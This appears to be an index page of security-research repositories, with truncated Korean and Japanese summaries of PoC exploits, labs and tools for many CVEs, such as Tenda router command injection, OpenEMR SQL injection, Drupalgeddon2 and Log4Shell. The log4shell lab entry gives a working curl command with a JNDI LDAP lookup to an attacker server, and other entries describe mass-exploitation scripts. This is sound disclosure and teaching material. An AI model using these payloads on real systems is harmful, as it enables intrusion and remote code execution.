exploits

exploits 공개된 PoC는 exploitdb.com에서 확인할 수 있습니다. Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

MAL-009

MAL-009: Linux용 Zip에서 T 및 TT 플래그의 안전하지 않은 체이닝 Linux용 Zip에서 “-TT” 플래그는 임의의 시스템 명령을 실행하는 데 사용될 수 있습니다. 이 플래그의 위험성 때문에 항상 “-T” 플래그와 동시에 사용해야 합니다. 플래그 체이닝 공격을 사용하면 zip 명령에 하나의 플래그만 삽입할 수 있어야 하는 공격자가 “-T” 및 “-TT” 플래그를 모두 삽입하고 잠재적으로 악성 코드를 실행할 수 있습니다. 개념 증명: 자세한 내용과 악용 과정은 이 PDF에서 확인할 수 있습니다. 잠재적으로 취약한...

tenda-hg10-rce

CVE-2026-1689 概要 Tenda HG10 ルーターにコマンドインジェクションの脆弱性が存在します。この脆弱性は formLogin エンドポイントで発生し、Host パラメータの不適切な処理が原因です。 このチェックは認証チェックの前に実行されるため、認証情報は検証されません。 Host ヘッダーからのユーザー入力を検証なしで直接コマンドとして実行します: ifconfig br0 | grep 'inet6' | grep '' 使用方法 簡単なスクリプト exploit.go が含まれており、IP:port/URL ペアを含むファイルを受け取り、大規模な悪用が可能です。...

CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-25746 - OpenEMR 약점 CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중성화'SQL 인젝션' 제품은 업스트림 구성 요소의 외부 영향 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 전송될 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중성화하지 않거나 잘못 중성화합니다. 사용자 제어 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL로 해석될 수 있습니다. MITRE에서...

CVE-2026-26831

CVE-2026-26831: textract의 OS 명령어 주입 요약 textract 버전 2.5.0까지의 모든 버전은 여러 추출기에 전달되는 파일 경로를 통해 OS 명령어 주입을 허용합니다. 여러 코드 경로가 해당 파일 경로를 충분한 검증 없이 childprocess.exec에 전달합니다. 파일 이름이나 경로에 영향을 줄 수 있는 공격자는 명령줄에서 벗어나 호스트에서 임의의 명령을 실행할 수 있습니다. 영향을 받는 제품 제품| 영향을 받는 버전| 수정 버전 ---|---|--- textract| 2.5.0까지의 모든 버전|...

cve-2018-7600-drupalgeddon2-lab

CVE-2018-7600 Drupalgeddon2 취약점 실습 랩 Docker로 배포된 취약한 Drupal 7.56 환경을 활용하여 CVE-2018-7600Drupalgeddon2 익스플로잇을 시연하는 교육용 실습 랩입니다. 이 프로젝트는 실제 환경과 유사한 취약점 평가 워크플로를 시뮬레이션하며, 다음을 포함합니다: 취약한 환경 구축 탐지스캐너 익스플로잇RCE 페이로드 분석 문서화 취약점 개요 CVE-2018-7600Drupalgeddon2은 Drupal CMS의 치명적인 원격 코드 실행RCE 취약점입니다. 이 문제는...

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187 - 새 검색 팝업의 SQL 인젝션 취약점 약점 CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중화 'SQL 인젝션' 제품은 상위 구성 요소로부터 외부의 영향을 받는 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 보낼 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중화하지 않거나 잘못 중화합니다. 사용자가 제어할 수 있는 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - AI 에이전트를 통한 서버사이드 템플릿 인젝션SSTI → 원격 코드 실행RCE 📌 개요 Zammad는 널리 사용되는 오픈소스 웹 기반 헬프데스크 및 고객 지원 시스템입니다. CVE-2026-34724 는 새로운 AI 에이전트AI Agent 기능에서 발견된 서버사이드 템플릿 인젝션SSTI 취약점입니다. typeenrichmentdata 구성을 수정할 수 있는 인증된 관리자 가 악성 템플릿을 주입할 수 있으며, AI 에이전트가 해당 데이터를 처리할 때 완전한 원격 코드...

CVE-2026-25514

CVE-2026-25514: FacturaScripts 자동완성Autocomplete 기능의 SQL 인젝션 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2026-25514 심각도| 높음HIGH 보안 권고| 권고 보기 발견자| Lukasz Rybak 영향을 받는 제품 facturascripts/facturascripts 버전: selectLimit$sql, self::getLimit as $row $result = new static$...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function SpEL 표현식 주입 원격 코드 실행 취약점 탐지 및 활용 도구. 취약점 개요 CVE-2022-22963 는 Spring Cloud Function 라우팅 기능의 고위험 RCE 취약점입니다CVSS 9.8. 애플리케이션이 /functionRouter 엔드포인트를 활성화하면, spring.cloud.function.routing-expression 요청 헤더의 값이 SpELSpring Expression Language 표현식으로 직접 실행되어, 공격자가 인증 없이...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 면책 조항 이 실습 환경은 보안 교육 및 연구 목적으로만 제작되었습니다. 모든 트래픽은 격리된 Docker 네트워크 내에서 발생합니다. 실제 시스템이나 명시적인 허가 없이 이 자료를 사용하지 마세요. 오용은 범죄가 될 수 있습니다. 책임감 있게 사용하세요. CVE-2021-44228이란? Log4Shell 은 2021년 12월에 Java 애플리케이션에서 널리 사용되는 로깅 라이브러리 Apache Log4j 2 에서 발견된 치명적인 취약점CVSS 10.0입니다. 취약...

fracture

Fracture FragAttacks WiFi 침투 프레임워크 CVE-2020-24586 / CVE-2020-24587 / CVE-2020-24588 Fracture는 802.11 프레임 주입을 통해 세 가지 새로운 공격 체인을 자동화합니다. WPA2/WPA3의 A-MSDU 집계 취약점을 악용하여 비밀번호를 모르는 상태에서 암호화된 네트워크에 임의의 평문 프레임을 주입합니다. 승인된 침투 테스트 전용입니다. 소유한 네트워크 또는 명시적인 서면 허가를 받은 네트워크에서만 사용하십시오. 작동 원리 802.11 QoS Control...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE updatelaunch.php의 PHP 코드 삽입을 통한 RCE 개념 증명 공개: 제가 GHSA-3h9c-7j8r-xc3v를 통해 처음 보고했습니다. ⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요. 취약점 정보 필드| 값 ---|--- CVE ID| CVE-2025-62429 심각도| 🔴 높음 CVSS 점수| 7.2 CVSS 벡터| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78: OS 명령 삽입,...

CVE-2024-41662

CVE-2024-41662 VNote 버전 참고: 애플리케이션은 앱에서 출력 인코딩을 수행하여 일부 JavaScript 페이로드를 적절히 검증합니다. 그러나 특정 경우에는 검증에 실패합니다. 5. 또한 공격자는 다음 페이로드를 사용하여 원격 코드 실행 을 달성할 수 있습니다. 영향을 받는 버전 세부 정보 : =3.18.1 영향 : 이 취약점은 공격자가 시스템에 대한 무단 액세스를 획득하고 임의의 명령을 실행하며 영향을 받는 머신을 제어할 수 있도록 악용될 수 있습니다. 이로 인해 시스템 손상 및 기타 심각한 보안 사고로 이어질...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM の引数インジェクションによるリモートコード実行 Fortinet FortiSIEM 向けの概念実証エクスプロイト。引数インジェクションを悪用してファイルを書き込み、root 権限でのコード実行を実現します。 ブログ記事 詳細な分析はこちら: Horizon3.ai - CVE-2025-64155: Fortinet FortiSIEM をリモートでルート化するまでの3年間 注意 この問題を悪用してアプリケーションファイルを上書きすると、システムの不安定化を招く可能性が高いです。慎重に使用してください。...

CVE-2025-48932---exploit

Invision Community SQL Injection Exploit CVE-2025-48932 Invision Community = 4.7.20 버전에서 발견된 SQL 인젝션 취약점을 시연하는 개념 증명 익스플로잇입니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법 입니다. 이 도구는 소유하고 있거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다. 이 도구는 보안 연구자, 침투 테스...

chaos-operator

Kubernetes上でカオス実験を注入するためのLitmus chaos-operator Codacy Badge Litmus chaos operatorは、Kubernetesアプリケーション開発者やSREが、アプリケーションやKubernetesインフラストラクチャに対して管理された方法でカオスを注入するために使用されます。その目的は、カオス実験の実行を自動化することで、Kubernetes上のアプリケーションワークロードの検証と強化のプロセスを容易にすることです。カオス注入ワークフローの例は、次のようにシンプルです:...

log4j-vul

log4j-vul 이 프로젝트는 Apache Log4j2 취약점CVE-2021-44228을 보여주기 위한 것입니다. Java: java version "1.8.0121" Compile: src 폴더에서 javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: src 폴더에서 java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.j...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab 취약점 설명 Spring Cloud Gateway에 SpEL 표현식 주입 취약점이 존재하며, Actuator 엔드포인트가 활성화된 경우 공격자가 원격 코드 실행RCE을 수행할 수 있습니다. 시작 방법 docker-compose up -d 재현 1. http://your-ip:8080/actuator/gateway/routes 접속 2. 악성 Payload 주입...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...